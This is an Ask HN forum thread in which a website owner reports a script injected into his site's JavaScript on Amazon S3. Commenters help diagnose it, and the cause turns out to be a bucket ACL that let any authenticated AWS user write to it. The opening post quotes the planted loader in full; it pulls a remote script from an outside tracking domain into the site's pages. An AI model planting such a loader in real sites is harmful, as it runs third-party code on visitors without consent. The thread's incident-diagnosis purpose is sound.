HN Explorer

Ask HN: How did this tracking code get in my site's JavaScript?

18 points by benp84 ↗ HN
I've just found this mysterious tracking code appended to the main JS file of my website:

;(function(d,s,u,t,h){d.q97W||(t=d.createElement(s),h=d.getElementsByTagName(s)[0],t.async=1,t.src=u,h.parentNode.insertBefore(t,h),d.q97W=1)})(document,'script','//abtrcking.com/a610b2befbce9062/analytics.js?4cd018b7ad0ce698d02494542e8f6e70');

Unfortunately the text was appended to a gzipped JavaScript file, which made it unreadable by browsers and effectively shut down my site.

The site is hosted on AWS and the JS file was pushed to S3 during deployment. I checked deployment logs and it definitely wasn't in the file during deployment. Does this mean someone has hacked my AWS account or has my access keys?

8 comments

[ 2.6 ms ] story [ 29.6 ms ] thread
Can_Not
Maybe, but is your site protected by SSL? It might be hard for most of us to help you without a link. "abtrcking.com" appears to be some HN user's side project.
benp84
Yes, sitewide SSL. The site is [redacted].

Affected files are:

https://[redacted].s3.amazonaws.com/js/scripts_2017-05-28-17...

https://[redacted].s3.amazonaws.com/js/scripts_2017-05-28-18...

According to "last modified" timestamps, the first was modified 7 minutes after upload, the second 2.4 days later.

JBReefer
It sounds like something automated broke into your s3 account, added it mindlessly to .js files, and moved on.
benp84
That's my impression too, because no one would manually add plain text JS to a .gz file, but wouldn't that imply that someone has broken into so many AWS accounts that they needed a script to hack them all!?
JBReefer
I hope not, but that may be occurring. I would check your access history/see what users have touched it, and I would certainly contact Amazon.
tarikozket
Check your Chrome extensions. There is a high probability that one of them might be adding it to all .js files downloaded from websites.
benp84
The tracking code is definitely in the file. The checksum has changed, the last file modification timestamp is well after the deployment time, and I can see it when I download it straight from the S3 API.
benp84
Well, I think I found the problem: despite my meticulously-defined bucket access policy, it turns out I had write permissions enabled for "any authenticated AWS user" in my access control list. I did not realize there were two separate pages for these settings.

I suppose it's possible that the bot enabled this setting, but it was probably just me being sloppy :-/ The bot probably scans for poorly-protected S3 buckets that are referenced on websites.

I hope the next victims find this post in a Google search.